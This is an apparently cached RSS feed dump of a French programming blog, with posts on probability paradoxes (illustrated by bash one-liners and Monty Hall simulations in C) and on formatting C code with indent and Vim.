Pour visualiser les graphes gnuplot, je vous conseille le paquet gnuplot-qt.
Pour les ouvrir :
gnuplot -p file.gnu
La souris ou les flèches du clavier permettent de tourner le graphe en 3 dimensions.
Les commandes nécessaires pour générer une image .png sont écrites en
commentaire à l’intérieur du fichier. Je les ai fait commencer par ## pour
pouvoir les décommenter automatiquement (sans décommenter le reste) avec un
script.
Ainsi, pour générer les fichiers .png :
./gg file.gnu
./gg *.gnu
Pour mixer plusieurs pistes son, la fonction f me semble très bonne, à la fois en théorie et en pratique. Sur les exemples que j’ai testés, le résultat était celui attendu.
Cependant, je n’ai ni du matériel audio ni des oreilles de haute qualité, et mes connaissances en acoustique sont très limitées.
Les critiques sont donc les bienvenues.
";s:7:"dateiso";s:15:"20130129_141545";}s:15:"20121209_211120";a:7:{s:5:"title";s:23:"Paradoxes probabilistes";s:4:"link";s:54:"http://blog.rom1v.com/2012/12/paradoxes-probabilistes/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4250";s:7:"pubDate";s:31:"Sun, 09 Dec 2012 20:11:20 +0000";s:11:"description";s:392:"Ce sont des cas d’école, mais j’adore ces quelques paradoxes. La simplicité de leurs énoncés et l’évidence de leur solution nous permettent de répondre en quelques secondes, sans aucune hésitation. Mais en nous trompant. Deux enfants Un couple a deux enfants dont l’un d’eux (au moins) est une fille. Quelle est la probabilité que l’autre […]";s:7:"content";s:24085:"Ce sont des cas d’école, mais j’adore ces quelques paradoxes. La simplicité de leurs énoncés et l’évidence de leur solution nous permettent de répondre en quelques secondes, sans aucune hésitation. Mais en nous trompant.
Un couple a deux enfants dont l’un d’eux (au moins) est une fille. Quelle est la probabilité que l’autre soit (aussi) une fille ?
Par hypothèse, la probabilité à chaque naissance d’avoir un garçon est égale à celle d’avoir une fille (50%), et les naissances sont indépendantes.
La réponse 1/2 est évidente. Mais fausse. La bonne réponse est 1/3.
En effet, un couple ayant deux enfants a 4 possiblités équiprobables :
Sachant que l’un des deux est une fille, le cas 1 est exclu : il reste trois possibilités équiprobables, dont une seule correspond au cas fille-fille. Il y a donc une chance sur trois que les deux enfants soient des filles. CQFD
Pour vous en convaincre, considérez les deux phrases équivalentes suivantes :
Pour chacune d’elles, demandez-vous quelle est la probabilité que les deux enfants soient des filles.
Attendez d’être convaincus de ce résultat avant de passer à la suite.
Une fois ce résultat compris, considérons l’énoncé suivant :
Un couple a deux enfants. Je le croise dans la rue avec l’un de ses enfants, qui est une fille. Quelle est la probabilité que l’autre enfant (celui qui est absent) soit (aussi) une fille.
Il est possible de répondre avec certitude : s’il est absent, c’est un garçon, si elle est absente, c’est une fille. (Ça, c’est fait !)
Alors vous appliquez le même raisonnement, et répondez 1/3.
Après tout, nous sommes exactement dans le cas de l’énoncé précédent : un couple a deux enfants et je sais que l’un d’eux (au moins) est une fille.
Mais non, c’est faux. Ici, la réponse est 1/2.
Pour le comprendre, il faut voir que le raisonnement menant à la réponse 1/3 n’est en fait tout-à-fait valide qu’en levant une légère ambiguïté de l’énoncé, celle de l’acquisition de l’information : comment savons-nous que le couple ayant deux enfants a au moins une fille (pour déterminer la probabilité qu’il en ait deux) ?
Si nous avons demandé à l’un des parents « avez-vous (au moins) une fille ? » et qu’il a répondu « oui », alors la probabilité que les deux soient des filles est bien 1/3.
Par contre, si nous lui avons demandé « indiquez-moi le sexe de l’un de vos enfants » et qu’il a répondu « j’ai (au moins) une fille », alors la probabilité que les deux soient des filles est 1/2. En effet, le fait que le parent puisse répondre garçon à cette question lorsqu’il a deux enfants de sexes différents fait baisser la probabilité conditionnelle des cas 2 et 3, et une fois le cas 1 exclu, l’union des 2 et 3 et le cas 4 sont équiprobables. Relisez la phrase précédente plusieurs fois. Comme elle n’est pas claire, consultez le calcul sur Wikipedia.
Le fait de rencontrer un enfant de ce couple (ici, une fille) s’apparente à ce dernier cas (car pour deux enfants de sexes différents, nous aurions pu rencontrer le garçon). Ainsi, la probabilité que l’autre soit une fille est 1/2.
Si ce n’est pas clair, continuez, j’en reparle un peu plus loin lorsque j’évoque la particularisation.
Un couple a deux enfants dont l’un d’eux (au moins) est une fille née un mardi. Quelle est la probabilité que l’autre soit (aussi) une fille ?
La réponse n’est ni 1/2, ni 1/3, mais 13/27.
Un bash vaut mieux qu’un long discours :
printf '%s\n' {G,F}{0..6}-{G,F}{0..6} | grep F1 | wc -l
printf '%s\n' {G,F}{0..6}-{G,F}{0..6} | grep F1 | grep F.-F. | wc -l
(Nous supposons avoir obtenu l’information en demandant à l’un des parents « avez-vous une fille née un mardi ? ». Comme dans le premier exemple, si nous lui avions demandé « indiquez-moi le sexe d’un de vos enfants ainsi que son jour de naissance », la probabilité que l’autre soit une fille serait 1/2.)
Il est également possible de différencier par autre chose qu’un jour de la semaine, par exemple faire la différence entre matin (entre minuit et midi) et après-midi (entre midi et minuit) :
Un couple a deux enfants dont l’un d’eux (au moins) est une fille née un matin. Quelle est la probabilité que l’autre soit (aussi) une fille ?
La réponse est 3/7 :
printf '%s\n' {G,F}{M,A}-{G,F}{M,A} | grep FM | wc -l
printf '%s\n' {G,F}{M,A}-{G,F}{M,A} | grep FM | grep F.-F. | wc -l
Supposons maintenant qu’aucun couple n’appelle deux de ses enfants par le même prénom, et considérons l’énoncé suivant :
Un couple a deux enfants dont l’un d’eux (au moins) est une fille prénommée Sophie. Quelle est la probabilité que l’autre soit (aussi) une fille ?
La réponse ici est 1/2.
Si vous avez compris le résultat du script bash précédent, cela revient à supposer que les enfants ne peuvent pas être nés le même jour de la semaine (ce qui est absurde pour un jour de la semaine, mais pas pour un prénom).
printf '%s\n' {G,F}{0..6}-{G,F}{0..6} | grep -v '^.\(.\)-.\1' | grep F1 | wc -l
printf '%s\n' {G,F}{0..6}-{G,F}{0..6} | grep -v '^.\(.\)-.\1' | grep F1 | grep F.-F. | wc -l
Résumons. Sachant que l’un des deux enfants est une fille, la probabilité que les deux soient des filles dépend de la capacité à particulariser l’enfant dont on connaît le sexe. Sans aucune information supplémentaire, la probabilité est 1/3.
Mais si nous savons par exemple que l’enfant en question est l’aîné, nous le particularisons complètement : nous sommes sûrs que l’autre n’est pas l’aîné, et donc la probabilité devient 1/2 (évidemment, puisque par hypothèse, les naissances sont indépendantes). De même, si nous supposons qu’un couple ne donne pas le même prénom à plusieurs de ses enfants, alors préciser le prénom particularise complètement l’enfant dont on parle. Il en va de même si nous rencontrons l’un des enfants dans la rue : c’est de celui qui est présent dont on parle, pas n’importe lequel.
Et il existe des cas intermédiaires, où nous ne particularisons que partiellement. Par exemple, en précisant que l’enfant est né un mardi, dans certains cas l’information est différenciante (l’autre enfant n’est pas né un mardi), dans certains cas non (les deux enfants sont nés un mardi). Le résultat n’est donc ni 1/3, ni 1/2, mais entre les deux (13/27 ici).
Si vous avez du mal à vous convaincre que rencontrer l’un des enfants dans la rue le particularise (et donc donne une probabilité de 1/2 que l’autre soit une fille ou un garçon), je vous propose l’expérience de pensée suivante (par l’absurde). Vous rencontrez le couple avec l’un de ses enfants, qui est une fille. D’après le tout premier raisonnement, vous en concluez que la probabilité que l’autre soit une fille est 1/3. Vous lui parlez, et vous lui demandez quel jour de la semaine elle est née, elle vous répond mardi. Vous savez maintenant que c’est une fille née un mardi. D’après ce que nous venons de voir, vous en concluez que la probabilité que l’autre soit une fille est 13/27. Mais le résultat aurait été le même si elle avait répondu n’importe quel autre jour de la semaine. Le fait d’avoir posé la question a donc changé la probabilité, et ceci, indépendemment de sa réponse. Comment pourrait-elle dépendre du simple fait de poser la question ? C’est incohérent.
Cette particularisation me fait d’ailleurs beaucoup penser au phénomène de décohérence quantique.
Il s’agit jeu télévisé avec trois portes, dont voici les règles :
- Derrière chacune des trois portes se trouve soit une chèvre, soit une voiture, mais une seule porte donne sur une voiture alors que deux portes donnent sur une chèvre. La porte cachant la voiture a été choisie par tirage au sort.
- Le joueur choisit une des portes, sans que toutefois ce qui se cache derrière (chèvre ou voiture) ne soit révélé à ce stade.
- Le présentateur sait ce qu’il y a derrière chaque porte.
- Le présentateur doit ouvrir l’une des deux portes restantes et doit proposer au candidat la possibilité de changer de choix quant à la porte à ouvrir définitivement.
- Le présentateur ouvrira toujours une porte derrière laquelle se cache une chèvre, en effet :
- Si le joueur choisit une porte derrière laquelle se trouve une chèvre, le présentateur ouvrira l’autre porte où il sait que se trouve également une chèvre.
- Si le joueur choisit la porte cachant la voiture, le présentateur choisit au hasard parmi les deux portes cachant une chèvre. (on peut supposer qu’un tirage au sort avant l’émission a décidé si ce serait la plus à droite ou à gauche)
- Le présentateur doit offrir la possibilité au candidat de rester sur son choix initial ou bien de revenir dessus et d’ouvrir la porte qui n’a été choisie ni par lui-même, ni par le candidat.
La question qui se pose alors est : le joueur augmente-t-il ses chances de gagner la voiture en changeant son choix initial ?
Vu qu’il reste deux portes, nous pourrions nous dire que garder son choix initial ou le changer n’a pas d’incidence sur les probabilités. Ce qui évidemment est faux (sinon nous n’en parlerions pas). En réalité, il a une probabilité de 1/3 de gagner s’il conserve son choix initial et 2/3 s’il en change.
Lors de son choix initial, le joueur a une chance sur trois de sélectionner la porte gagnante. S’il décide de toujours garder sa porte, il a donc une chance sur trois de gagner. Comme à la fin il n’a que deux choix (garder ou changer), il aurait eu deux chances sur trois de gagner en changeant de porte.
Pour mieux comprendre, généralisons le principe du jeu :
La réponse devient évidente, non ?
Si vous n’êtes pas convaincus, développeur et que vous connaissez la loi des grands nombres, ce programme devrait vous aider :
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main(int argc, char *argv[])
{
int i, winning, choice, elim, change;
int keepwin = 0, changewin = 0;
/* Initialise le seed pour la génération aléatoire */
srand(time(NULL));
for (i = 0; i < 10000; i++) {
/* Tire au sort une porte gagnante et un choix du joueur */
winning = rand() % 3;
choice = rand() % 3;
/* Présentateur */
if (choice == winning)
/* Choisit aléatoirement d'éliminer l'une des deux autres portes */
elim = ~winning & (rand() % 2 + 1);
else
/* Désigne la porte restante perdante */
elim = 3 - choice - winning;
/* Compte les choix vainqueurs */
change = 3 - choice - elim;
keepwin += choice == winning;
changewin += change == winning;
}
printf("Victoires en gardant son choix : %d\n", keepwin);
printf("Victoires en changeant son choix : %d\n", changewin);
return 0;
}
Notez que rand() % 3 ne fournira pas une distribution strictement uniforme (3 n’étant pas une puissance de 2), mais la précision nous suffira ici.
Ce problème est similaire au paradoxe des prisonniers.
Changeons un peu les règles : maintenant, le présentateur ne sait pas où se trouve la porte gagnante.
Du coup, une fois que le joueur a choisi sa porte, le présentateur indique une porte au hasard parmi les deux restantes. Si malheureusement il tombe sur la porte gagnante, la partie est annulée et on recommence.
Ainsi nous retirons toutes les parties où le présentateur a ouvert la porte gagnante. Il ne reste donc plus que les parties où il désigne une porte perdante, et nous nous retrouvons dans le même cas que précédement.
Eh bien, en fait, non. Ce n’est pas le même cas que précédemment, car maintenant le joueur va gagner avec un probabilité est de 1/2 qu’il garde sa porte ou qu’il en change. La preuve :
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
int i = 0, winning, choice, elim, change;
int keepwin = 0, changewin = 0;
/* Initialise le seed pour la génération aléatoire */
srand(time(NULL));
while (i < 10000) {
/* Tire au sort une porte gagnante et un choix du joueur */
winning = rand() % 3;
choice = rand() % 3;
/* Présentateur */
elim = ~choice & (rand() % 2 + 1);
if (elim == winning)
continue;
/* Compte les choix vainqueurs */
change = 3 - choice - elim;
keepwin += choice == winning;
changewin += change == winning;
i++;
}
printf("Victoires en gardant son choix : %d\n", keepwin);
printf("Victoires en changeant son choix : %d\n", changewin);
return 0;
}
Intuitivement, si c’est le hasard qui détermine à la fois la porte choisie par le joueur et la porte laissée par le présentateur, et que nous supprimons toutes les parties où le présentateur a éliminé la porte gagnante (en moyenne 1 partie sur 3), tout se passe comme s’il n’y avait que 2 portes dès le début du jeu.
« sonance »
Nous disposons de pastilles de 3 couleurs (disons rouge, bleu et vert).
Nous proposons à un singe de choisir parmi 2 de ces couleurs (par exemple rouge et bleu) celle qu’il préfère (par une méthode quelconque). Il répond « rouge ».
Nous lui demandons alors laquelle il préfère parmi la couleur qu’il n’a pas choisie la première fois (bleu) et celle qui reste (vert). Et le plus souvent (environ 2 fois sur 3), les chercheurs ont observé qu’il rejetait encore la couleur qu’il n’avait pas choisie la première fois (bleu).
Cela montre qu’une fois que nous rejetons quelque chose, nous le dévaluons, ce qui nous amène à le rejeter de nouveau lors d’un second choix.
Ou pas. En réalité, ce raisonnement souffre de la même erreur de raisonnement qui nous induit en erreur dans le problème de Monty Hall.
Supposons que le singe sache trier les trois couleurs par ordre de préférence. Nous lui en montrons deux. Cela revient à choisir au premier tour celle que nous ne lui montrons pas.
Cette couleur non choisie peut être :
Parmi ces 3 possibilités équiprobables, seule la position 3 lui fera la rejeter lors du second choix (c’est la seule moins bonne que la moins bonne du premier choix).
Une maladie X touche 1 personne sur 100 000 dans une population. Un test de la maladie X est fiable à 99%. Il se révèle positif pour vous. Quelle est la probabilité que vous soyez infecté ?
Aussi surprenant que cela puisse paraître, la réponse est 0,1%.
Faisons le calcul sur une population de 10 millions de personnes. La maladie touche 1 personne sur 100 000, donc 100 personnes en moyenne.
Le test est fiable à 99%, donc il provoque 1% d’erreur. Sur les 9 999 900 personnes non malades, il y a donc 99 999 erreurs (faux-positifs). Sur les 100 malades, il y a 1 erreur (faux-négatif).
En tout, en moyenne 99 999 + 99 = 100 098 personnes seront testées positives, alors que seules 99 seront malades. Donc si votre test est positif, vous avez 99 chances sur 100 098 d’être malade, soit moins de 0,1%.
Le fait que ce résultat soit surprenant pour notre cerveau provient d’un biais cognitif appelé l’oubli de la fréquence de base.
Méfiez-vous de vos intuitions en probabilités.
";s:7:"dateiso";s:15:"20121209_211120";}s:15:"20121209_201120";a:7:{s:5:"title";s:23:"Paradoxes probabilistes";s:4:"link";s:53:"http://blog.rom1v.com/2012/12/paradoxes-probabilistes";s:4:"guid";s:53:"http://blog.rom1v.com/2012/12/paradoxes-probabilistes";s:7:"pubDate";s:25:"2012-12-09T20:11:20+01:00";s:11:"description";s:0:"";s:7:"content";s:28135:"Ce sont des cas d’école, mais j’adore ces quelques paradoxes. La simplicité de leurs énoncés et l’évidence de leur solution nous permettent de répondre en quelques secondes, sans aucune hésitation. Mais en nous trompant.
Un couple a deux enfants dont l’un d’eux (au moins) est une fille. Quelle est la probabilité que l’autre soit (aussi) une fille ?
Par hypothèse, la probabilité à chaque naissance d’avoir un garçon est égale à celle d’avoir une fille (50%), et les naissances sont indépendantes.
La réponse 1/2 est évidente. Mais fausse. La bonne réponse est 1/3.
En effet, un couple ayant deux enfants a 4 possiblités équiprobables :
Sachant que l’un des deux est une fille, le cas 1 est exclu : il reste trois possibilités équiprobables, dont une seule correspond au cas fille-fille. Il y a donc une chance sur trois que les deux enfants soient des filles. CQFD.
Pour vous en convaincre, considérez les deux phrases équivalentes suivantes :
Pour chacune d’elles, demandez-vous quelle est la probabilité que les deux enfants soient des filles.
Attendez d’être convaincus de ce résultat avant de passer à la suite.
Une fois ce résultat compris, considérons l’énoncé suivant :
Un couple a deux enfants. Je le croise dans la rue avec l’un de ses enfants, qui est une fille. Quelle est la probabilité que l’autre enfant (celui qui est absent) soit (aussi) une fille.
Il est possible de répondre avec certitude : s’il est absent, c’est un garçon, si elle est absente, c’est une fille. (Ça, c’est fait !)
Alors vous appliquez le même raisonnement, et répondez 1/3. Après tout, nous sommes exactement dans le cas de l’énoncé précédent : un couple a deux enfants et je sais que l’un d’eux (au moins) est une fille.
Mais non, c’est faux. Ici, la réponse est 1/2.
Pour le comprendre, il faut voir que le raisonnement menant à la réponse 1/3 n’est en fait tout-à-fait valide qu’en levant une légère ambiguïté de l’énoncé, celle de l’acquisition de l’information : comment savons-nous que le couple ayant deux enfants a au moins une fille (pour déterminer la probabilité qu’il en ait deux) ?
Si nous avons demandé à l’un des parents “avez-vous (au moins) une fille ?” et qu’il a répondu “oui”, alors la probabilité que les deux soient des filles est bien 1/3.
Par contre, si nous lui avons demandé “indiquez-moi le sexe de l’un de vos enfants” et qu’il a répondu “j’ai (au moins) une fille”, alors la probabilité que les deux soient des filles est 1/2. En effet, le fait que le parent puisse répondre garçon à cette question lorsqu’il a deux enfants de sexes différents fait baisser la probabilité conditionnelle des cas 2 et 3, et une fois le cas 1 exclu, l’union des 2 et 3 et le cas 4 sont équiprobables. Relisez la phrase précédente plusieurs fois. Comme elle n’est pas claire, consultez le calcul sur Wikipedia.
Le fait de rencontrer un enfant de ce couple (ici, une fille) s’apparente à ce dernier cas (car pour deux enfants de sexes différents, nous aurions pu rencontrer le garçon). Ainsi, la probabilité que l’autre soit une fille est 1/2.
Si ce n’est pas clair, continuez, j’en reparle un peu plus loin lorsque j’évoque la particularisation.
Un couple a deux enfants dont l’un d’eux (au moins) est une fille née un mardi. Quelle est la probabilité que l’autre soit (aussi) une fille ?
La réponse n’est ni 1/2, ni 1/3, mais 13/27.
Un bash vaut mieux qu’un long discours :
printf '%s\n' {G,F}{0..6}-{G,F}{0..6} | grep F1 | wc -l
printf '%s\n' {G,F}{0..6}-{G,F}{0..6} | grep F1 | grep F.-F. | wc -l(Nous supposons avoir obtenu l’information en demandant à l’un des parents “avez-vous une fille née un mardi ?”. Comme dans le premier exemple, si nous lui avions demandé “indiquez-moi le sexe d’un de vos enfants ainsi que son jour de naissance”, la probabilité que l’autre soit une fille serait 1/2.)
Il est également possible de différencier par autre chose qu’un jour de la semaine, par exemple faire la différence entre matin (entre minuit et midi) et après-midi (entre midi et minuit) :
Un couple a deux enfants dont l’un d’eux (au moins) est une fille née un matin. Quelle est la probabilité que l’autre soit (aussi) une fille ?
La réponse est 3/7 :
printf '%s\n' {G,F}{M,A}-{G,F}{M,A} | grep FM | wc -l
printf '%s\n' {G,F}{M,A}-{G,F}{M,A} | grep FM | grep F.-F. | wc -lSupposons maintenant qu’aucun couple n’appelle deux de ses enfants par le même prénom, et considérons l’énoncé suivant :
Un couple a deux enfants dont l’un d’eux (au moins) est une fille prénommée Sophie. Quelle est la probabilité que l’autre soit (aussi) une fille ?
La réponse ici est 1/2.
Si vous avez compris le résultat du script bash précédent, cela revient à supposer que les enfants ne peuvent pas être nés le même jour de la semaine (ce qui est absurde pour un jour de la semaine, mais pas pour un prénom) :
printf '%s\n' {G,F}{0..6}-{G,F}{0..6} | grep -v '^.\(.\)-.\1' | grep F1 | wc -l
printf '%s\n' {G,F}{0..6}-{G,F}{0..6} | grep -v '^.\(.\)-.\1' | grep F1 |
grep F.-F. | wc -lRésumons. Sachant que l’un des deux enfants est une fille, la probabilité que les deux soient des filles dépend de la capacité à particulariser l’enfant dont on connaît le sexe. Sans aucune information supplémentaire, la probabilité est 1/3.
Mais si nous savons par exemple que l’enfant en question est l’aîné, nous le particularisons complètement : nous sommes sûrs que l’autre n’est pas l’aîné, et donc la probabilité devient 1/2 (évidemment, puisque par hypothèse, les naissances sont indépendantes). De même, si nous supposons qu’un couple ne donne pas le même prénom à plusieurs de ses enfants, alors préciser le prénom particularise complètement l’enfant dont on parle. Il en va de même si nous rencontrons l’un des enfants dans la rue : c’est de celui qui est présent dont on parle, pas n’importe lequel.
Et il existe des cas intermédiaires, où nous ne particularisons que partiellement. Par exemple, en précisant que l’enfant est né un mardi, dans certains cas l’information est différenciante (l’autre enfant n’est pas né un mardi), dans certains cas non (les deux enfants sont nés un mardi). Le résultat n’est donc ni 1/3, ni 1/2, mais entre les deux (13/27 ici).
Si vous avez du mal à vous convaincre que rencontrer l’un des enfants dans la rue le particularise (et donc donne une probabilité de 1/2 que l’autre soit une fille ou un garçon), je vous propose l’expérience de pensée suivante (par l’absurde).
Vous rencontrez le couple avec l’un de ses enfants, qui est une fille. D’après le tout premier raisonnement, vous en concluez que la probabilité que l’autre soit une fille est 1/3. Vous lui parlez, et vous lui demandez quel jour de la semaine elle est née, elle vous répond mardi. Vous savez maintenant que c’est une fille née un mardi. D’après ce que nous venons de voir, vous en concluez que la probabilité que l’autre soit une fille est 13/27. Mais le résultat aurait été le même si elle avait répondu n’importe quel autre jour de la semaine. Le fait d’avoir posé la question a donc changé la probabilité, et ceci, indépendemment de sa réponse. Comment pourrait-elle dépendre du simple fait de poser la question ? C’est incohérent.
Cette particularisation me fait d’ailleurs beaucoup penser au phénomène de décohérence quantique.
Il s’agit jeu télévisé avec trois portes, dont voici les règles :
- Derrière chacune des trois portes se trouve soit une chèvre, soit une voiture, mais une seule porte donne sur une voiture alors que deux portes donnent sur une chèvre. La porte cachant la voiture a été choisie par tirage au sort.
- Le joueur choisit une des portes, sans que toutefois ce qui se cache derrière (chèvre ou voiture) ne soit révélé à ce stade.
- Le présentateur sait ce qu’il y a derrière chaque porte.
- Le présentateur doit ouvrir l’une des deux portes restantes et doit proposer au candidat la possibilité de changer de choix quant à la porte à ouvrir définitivement.
- Le présentateur ouvrira toujours une porte derrière laquelle se cache une chèvre, en effet :
- Si le joueur choisit une porte derrière laquelle se trouve une chèvre, le présentateur ouvrira l’autre porte où il sait que se trouve également une chèvre.
- Si le joueur choisit la porte cachant la voiture, le présentateur choisit au hasard parmi les deux portes cachant une chèvre. (on peut supposer qu’un tirage au sort avant l’émission a décidé si ce serait la plus à droite ou à gauche)
- Le présentateur doit offrir la possibilité au candidat de rester sur son choix initial ou bien de revenir dessus et d’ouvrir la porte qui n’a été choisie ni par lui-même, ni par le candidat.
La question qui se pose alors est :
Le joueur augmente-t-il ses chances de gagner la voiture en changeant son choix initial ?
Vu qu’il reste deux portes, nous pourrions nous dire que garder son choix initial ou le changer n’a pas d’incidence sur les probabilités. Ce qui évidemment est faux (sinon nous n’en parlerions pas). En réalité, il a une probabilité de 1/3 de gagner s’il conserve son choix initial et 2/3 s’il en change.
Lors de son choix initial, le joueur a une chance sur trois de sélectionner la porte gagnante. S’il décide de toujours garder sa porte, il a donc une chance sur trois de gagner. Comme à la fin il n’a que deux choix (garder ou changer), il aurait eu deux chances sur trois de gagner en changeant de porte.
Pour mieux comprendre, généralisons le principe du jeu :
La réponse devient évidente, non ?
Si vous n’êtes pas convaincus, développeur et que vous connaissez la loi des grands nombres, ce programme devrait vous aider :
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main()
{
int i, winning, choice, elim, change;
int keepwin = 0, changewin = 0;
/* Initialise le seed pour la génération aléatoire */
srand(time(NULL));
for (i = 0; i < 10000; i++) {
/* Tire au sort une porte gagnante et un choix du joueur */
winning = rand() % 3;
choice = rand() % 3;
/* Présentateur */
if (choice == winning)
/* Choisit aléatoirement d'éliminer l'une des deux autres portes */
elim = ~winning & (rand() % 2 + 1);
else
/* Désigne la porte restante perdante */
elim = 3 - choice - winning;
/* Compte les choix vainqueurs */
change = 3 - choice - elim;
keepwin += choice == winning;
changewin += change == winning;
}
printf("Victoires en gardant son choix : %d\n", keepwin);
printf("Victoires en changeant son choix : %d\n", changewin);
return 0;
}Notez que rand() % 3 ne fournira pas une distribution strictement uniforme (3
n’étant pas une puissance de 2), mais la précision nous suffira ici.
Ce problème est similaire au paradoxe des prisonniers.
Changeons un peu les règles : maintenant, le présentateur ne sait pas où se trouve la porte gagnante.
Du coup, une fois que le joueur a choisi sa porte, le présentateur indique une porte au hasard parmi les deux restantes. Si malheureusement il tombe sur la porte gagnante, la partie est annulée et on recommence.
Ainsi nous retirons toutes les parties où le présentateur a ouvert la porte gagnante. Il ne reste donc plus que les parties où il désigne une porte perdante, et nous nous retrouvons dans le même cas que précédement.
Eh bien, en fait, non. Ce n’est pas le même cas que précédemment, car maintenant le joueur va gagner avec un probabilité est de 1/2 qu’il garde sa porte ou qu’il en change. La preuve :
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main()
{
int i = 0, winning, choice, elim, change;
int keepwin = 0, changewin = 0;
/* Initialise le seed pour la génération aléatoire */
srand(time(NULL));
while (i < 10000) {
/* Tire au sort une porte gagnante et un choix du joueur */
winning = rand() % 3;
choice = rand() % 3;
/* Présentateur */
elim = ~choice & (rand() % 2 + 1);
if (elim == winning)
continue;
/* Compte les choix vainqueurs */
change = 3 - choice - elim;
keepwin += choice == winning;
changewin += change == winning;
i++;
}
printf("Victoires en gardant son choix : %d\n", keepwin);
printf("Victoires en changeant son choix : %d\n", changewin);
return 0;
}Intuitivement, si c’est le hasard qui détermine à la fois la porte choisie par le joueur et la porte laissée par le présentateur, et que nous supprimons toutes les parties où le présentateur a éliminé la porte gagnante (en moyenne 1 partie sur 3), tout se passe comme s’il n’y avait que 2 portes dès le début du jeu.
– “sonance”
Nous disposons de pastilles de 3 couleurs (disons rouge, bleu et vert).
Nous proposons à un singe de choisir parmi 2 de ces couleurs (par exemple rouge et bleu) celle qu’il préfère (par une méthode quelconque). Il répond “rouge”.
Nous lui demandons alors laquelle il préfère parmi la couleur qu’il n’a pas choisie la première fois (bleu) et celle qui reste (vert). Et le plus souvent (environ 2 fois sur 3), les chercheurs ont observé qu’il rejetait encore la couleur qu’il n’avait pas choisie la première fois (bleu).
Cela montre qu’une fois que nous rejetons quelque chose, nous le dévaluons, ce qui nous amène à le rejeter de nouveau lors d’un second choix.
Ou pas. En réalité, ce raisonnement souffre de la même erreur de raisonnement qui nous induit en erreur dans le problème de Monty Hall.
Supposons que le singe sache trier les trois couleurs par ordre de préférence. Nous lui en montrons deux. Cela revient à choisir au premier tour celle que nous ne lui montrons pas.
Cette couleur non choisie peut être :
Parmi ces 3 possibilités équiprobables, seule la position 3 lui fera la rejeter lors du second choix (c’est la seule moins bonne que la moins bonne du premier choix).
Une maladie X touche 1 personne sur 100 000 dans une population. Un test de la maladie X est fiable à 99%. Il se révèle positif pour vous. Quelle est la probabilité que vous soyez infecté ?
Aussi surprenant que cela puisse paraître, la réponse est 0,1%.
Faisons le calcul sur une population de 10 millions de personnes. La maladie touche 1 personne sur 100 000, donc 100 personnes en moyenne.
Le test est fiable à 99%, donc il provoque 1% d’erreur. Sur les 9 999 900 personnes non malades, il y a donc 99 999 erreurs (faux-positifs). Sur les 100 malades, il y a 1 erreur (faux-négatif).
En tout, en moyenne 99 999 + 99 = 100 098 personnes seront testées positives, alors que seules 99 seront malades. Donc si votre test est positif, vous avez 99 chances sur 100 098 d’être malade, soit moins de 0,1%.
Le fait que ce résultat soit surprenant pour notre cerveau provient d’un biais cognitif appelé l’oubli de la fréquence de base.
Méfiez-vous de vos intuitions en probabilités.
";s:7:"dateiso";s:15:"20121209_201120";}s:15:"20121115_132354";a:7:{s:5:"title";s:37:"Formater du code C avec indent et Vim";s:4:"link";s:68:"http://blog.rom1v.com/2012/11/formater-du-code-c-avec-indent-et-vim/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4210";s:7:"pubDate";s:31:"Thu, 15 Nov 2012 12:23:54 +0000";s:11:"description";s:384:"Pour suivre des règles de codage et s’y tenir, rien de tel qu’un outil qui formate automatiquement le code (c’est plus rapide et sans erreurs). Sous Eclipse par exemple, la combinaison de touches Ctrl+Shift+F est indispensable. Mon but est d’obtenir la même fonctionnalité sous Vim pour le langage C. indent L’outil indent permet de formater […]";s:7:"content";s:6082:"Pour suivre des règles de codage et s’y tenir, rien de tel qu’un outil qui formate automatiquement le code (c’est plus rapide et sans erreurs). Sous Eclipse par exemple, la combinaison de touches Ctrl+Shift+F est indispensable. Mon but est d’obtenir la même fonctionnalité sous Vim pour le langage C.
L’outil indent permet de formater un source C selon des règles définies par des paramètres en ligne de commande. Ces options sont très nombreuses. Heureusement, il y a quelques styles bien connus prédéfinis, comme le style K&R (option -kr).
Pour illustrer son fonctionnement, voici un code source écrit n’importe comment (et qui fait n’importe quoi) :
#include <stdio.h>
void f ( int* x )
{
*x=4;}
void g(int x)
{goto mylabel;
/* my comment */
if(x>10)x=10;
mylabel:
printf ("%d\n",x *2);
switch(x){case 1:x=4;break;case 2:x=1;}
while ( * ( &x ) <10)x++; /* what? */
}
void h(char ( * ( * x ( ) ) [ ] ) ( ) ) {
char ( * ( * y ) [ ] ) ( ) = \
x ( ) ; char ( * z ) ( ) = * \
( * y ) ; char c = z ( ); putchar \
(c);
}
int main(){
int i= 2; f(&i);
g(i);
return 0;
}
Pour formater :
indent -st -kr -ts4 file.c
-st affiche le résultat sur la sortie standard au lieu de modifier le fichier ;-kr utilise le style K&R ;-ts4 considère 4 espaces comme une tabulation.Voici le résultat :
#include <stdio.h>
void f(int *x)
{
*x = 4;
}
void g(int x)
{
goto mylabel;
/* my comment */
if (x > 10)
x = 10;
mylabel:
printf("%d\n", x * 2);
switch (x) {
case 1:
x = 4;
break;
case 2:
x = 1;
}
while (*(&x) < 10)
x++; /* what? */
}
void h(char (*(*x())[])())
{
char (*(*y)[]) () = x();
char (*z) () = *(*y);
char c = z();
putchar(c);
}
int main()
{
int i = 2;
f(&i);
g(i);
return 0;
}
C’est plus joli, non ?
Pour pouvoir reformater directement dans Vim, il suffit d’ajouter dans ~/.vimrc la ligne suivante :
autocmd BufNewFile,BufRead *.c set formatprg=indent\ -kr\ -ts4
Ensuite, la commande gq formate (u annule).
Par exemple, sur le fichier source malformaté ci-dessus :
V ;j (ou la flèche du bas) jusqu’à la ligne 15 ;gq.Ainsi, seule la fonction g est formatée.
À partir de la ligne 7, le même résultat est obtenu en tapant directement gq8j (descendre de 8 lignes) ou gq15G (jusqu’à la ligne 15).
Pour reformater un bloc, le plus simple est de se placer sur une accolade { ou } et de taper gq% (% navigue entre les {}, () et [] ouvrant et fermant).
Pour reformater tout le fichier, il faut taper gggqG :
gg amène le curseur au début du fichier ;gq formate jusqu’à… ;G va à la fin du fichier.:wq
Pour suivre des règles de codage et s’y tenir, rien de tel qu’un outil qui formate automatiquement le code (c’est plus rapide et sans erreurs). Sous Eclipse par exemple, la combinaison de touches Ctrl+Shift+F est indispensable. Mon but est d’obtenir la même fonctionnalité sous Vim pour le langage C.
